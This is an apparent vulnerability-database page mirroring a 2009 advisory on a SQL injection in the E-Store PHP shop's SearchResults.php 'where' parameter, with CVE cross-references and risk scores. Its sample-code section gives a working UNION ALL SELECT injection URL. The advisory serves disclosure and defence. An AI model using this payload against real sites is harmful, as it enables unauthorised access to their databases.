Lucene search
+L

E-Store - SQL Injection

🗓️ 11 Dec 2009 00:00:00Reported by Salvatore FrestaType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 32 Views

E-Store SQL Injection Vulnerability in commercial PHP e-commerce ap

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2008-6242
1 Nov 200800:00
circl
cve
CVE
CVE-2008-6242
23 Feb 200917:00
cve
cvelist
Cvelist
CVE-2008-6242
23 Feb 200917:00
cvelist
exploitdb
Exploit DB
SFS EZ Webstore - 'where' SQL Injection
1 Nov 200800:00
exploitdb
euvd
EUVD
EUVD-2008-6212
7 Oct 202500:30
euvd
nvd
NVD
CVE-2008-6242
23 Feb 200917:30
nvd
prion
Prion
Sql injection
23 Feb 200917:30
prion
E-Store SQL Injection Vulnerability

 Name              E-Store
 Vendor            http://www.getaphpsite.com

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2009-09-03

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 VI.   DISCLOSURE TIMELINE


I. ABOUT THE APPLICATION

E-Store is a commercial PHP e-commerce.


II. DESCRIPTION

This application presents a SQL Injection bug.


III. ANALYSIS

Summary:

 A) SQL Injection

A) SQL Injection

The GET where parameter  passed to SearchResults.php has not
properly sanitised. Because of the affected query, the Magic
Quotes GPC flag (php.in) may be on.


IV. SAMPLE CODE

http://site/path/SearchResults.php?SearchTerm=&where=ItemName UNION
ALL SELECT 1,@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16%23&ord1=ItemName&ord2=asc&search1=Go!


V. FIX

No patch.

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Dec 2009 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.00981
32